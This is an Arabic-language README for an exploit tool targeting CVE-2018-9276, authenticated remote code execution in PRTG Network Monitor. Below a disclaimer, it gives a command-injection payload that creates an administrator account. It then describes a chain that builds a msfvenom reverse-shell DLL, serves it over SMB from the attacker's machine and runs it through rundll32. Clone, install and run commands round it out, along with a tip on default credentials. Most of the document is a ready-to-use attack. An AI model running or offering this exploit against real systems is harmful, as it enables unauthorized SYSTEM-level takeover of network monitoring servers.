
CVE-2018-9276 — PRTG Network Monitor < 18.2.39 Authenticated RCE. لأغراض تعليمية واختبار الاختراق المصرح به فقط.
⚠️ إخلاء مسؤولية: هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق المصرح به فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الاستخدام غير المصرح به غير قانوني.
PRTG Network Monitor هي أداة مراقبة شبكات طورتها شركة Paessler AG. الإصدارات السابقة لـ 18.2.39 عرضة لحقن أوامر مصادق عليه عبر ميزة الإشعارات، مما يسمح لمهاجم يمتلك بيانات اعتماد صالحة بتحقيق تنفيذ أوامر عن بعد (RCE) كـ النظام المحلي (Local System) (حساب الخدمة الافتراضي لتثبيتات PRTG).
تم اكتشاف هذه الثغرة أثناء اختبار اختراق من قبل جوش بيري (Josh Berry) وتم الإبلاغ عنها لشركة Paessler AG، التي أصدرت تصحيحًا في 20 أبريل 2018. تم تخصيص CVE-2018-9276 لها.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2018-9276 |
| المتأثر | PRTG Network Monitor < 18.2.39 |
| النوع | حقن أوامر مصادق عليه |
| الصلاحيات | يتطلب بيانات اعتماد PRTG صالحة |
| التأثير | تنفيذ أوامر عن بعد كالنظام المحلي |
| درجة CVSS | 7.2 (عالية) |
| التصحيح | PRTG 18.2.39 (صدر في 20 أبريل 2018) |
يتضمن PRTG نظام إشعارات يسمح للمسؤولين بتشغيل نصوص برمجية عند حدوث أحداث معينة. ولمنع تنفيذ الأوامر العشوائية، يقيد PRTG النصوص البرمجية التي يمكن تشغيلها بتلك الموجودة في دليل محدد على الخادم. افتراضيًا، يتوفر نصان تجريبيان فقط:
Demo EXE Notification - OutFile.batDemo EXE Notification - OutFile.ps1النص البرمجي التجريبي لـ PowerShell (OutFile.ps1) يمرر القيمة من حقل المعامل (Parameter) للإشعار مباشرة إلى النص البرمجي بدون أي تعقيم. مما يجعل من الممكن حقن أوامر PowerShell عشوائية عن طريق إضافتها بعد فاصلة منقوطة:
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add
عندما ينفذ PRTG الإشعار، يتم تشغيل الأمر المحقون بصلاحيات النظام المحلي.
ملاحظة: النص البرمجي الدفعي (
OutFile.bat) ليس عرضة للثغرة — يبدو أن Paessler تعقّم الإدخال قبل تمريره إلى الملف الدفعي. يعمل الحقن فقط عبر النص البرمجي.ps1.
يقوم الاستغلال بأتمتة الخطوات التالية:
1. التحقق من إصدار الخادم → تأكيد أن الهدف عرضة للثغرة
2. المصادقة → الحصول على كلمة جلسة صالحة
3. إعداد إشعار ملف → تهيئة ملف إخراج قابل للكتابة على الهدف
4. تشغيل إشعار الملف → تنفيذه عبر /api/notificationtest.htm
5. إنشاء DLL لـ reverse shell → msfvenom (windows/shell_reverse_tcp)
6. استضافة DLL → تقديمه عبر SMB من جهاز المهاجم
7. إعداد إشعار أمر → حقن rundll32.exe <UNC_PATH>,0 بعد ملف الإخراج
8. تشغيل إشعار الأمر → تنفيذ DLL على الهدف
9. استقبال reverse shell → nc -nvlp <LPORT>
يسمح PRTG فقط بتشغيل النصوص البرمجية الموجودة في دليل التثبيت الخاص به كإشعارات، لذلك لا يمكننا ببساطة رفع وتنفيذ ملف ثنائي عشوائي. بدلاً من ذلك، نقوم بما يلي:
msfvenom لإنشاء reverse shell لنظام Windows كملف .dll..dll على مشاركة SMB على جهاز المهاجم.rundll32.exe \\attacker\share\payload.dll,0 عبر معامل إشعار PowerShell.يمكن لـ rundll32.exe تحميل وتنفيذ DLL من مسار UNC، متجاوزًا القيود على الملفات التي يمكن لـ PRTG تنفيذها مباشرة.
msfvenom (جزء من Metasploit Framework)netcat (nc)impacket — مطلوب فقط لخادم SMB المدمج (اختياري، انظر --no-smb)pip install impacket
إذا كان لديك بالفعل طريقة لاستضافة DLL (مثل
impacket-smbserver، أوexploit/multi/handlerمن Metasploit، أو خادم SMB آخر)، يمكنك تخطي impacket تمامًا باستخدام--no-smbو--shell-location.
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt # فقط impacket
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
[--user USER] [--password PASSWORD] [--https]
[--no-smb] [--shell-location SHELL_LOCATION] [-v]
options:
-i, --host IP أو اسم المضيف الهدف
-p, --port المنفذ الهدف (مثل 80 أو 443)
--lhost IP المحلي لاستدعاء reverse shell
--lport المنفذ المحلي لاستدعاء reverse shell
--user اسم مستخدم PRTG (الافتراضي: prtgadmin)
--password كلمة مرور PRTG (الافتراضي: prtgadmin)
--https استخدام HTTPS (يتم قبول الشهادات الذاتية التوقيع)
--no-smb تخطي خادم SMB المدمج (الحمولة مستضافة بالفعل)
--shell-location تجاوز مسار UNC لـ DLL الحمولة
-v, --verbose تفعيل الإخراج المفصل / التصحيح
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 443 \
--lhost 10.10.14.5 \
--lport 4444 \
--user admin \
--password Sup3rS3cr3t \
--https
# استضافة الحمولة بنفسك أولاً:
impacket-smbserver share /tmp -smb2support
# ثم تشغيل الاستغلال مشيرًا إلى مشاركتك:
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444 \
--no-smb \
--shell-location '\\10.10.14.5\share\payload.dll'
prtgadmin / prtgadmin) تقلل بشكل كبير من حاجز الاستغلال.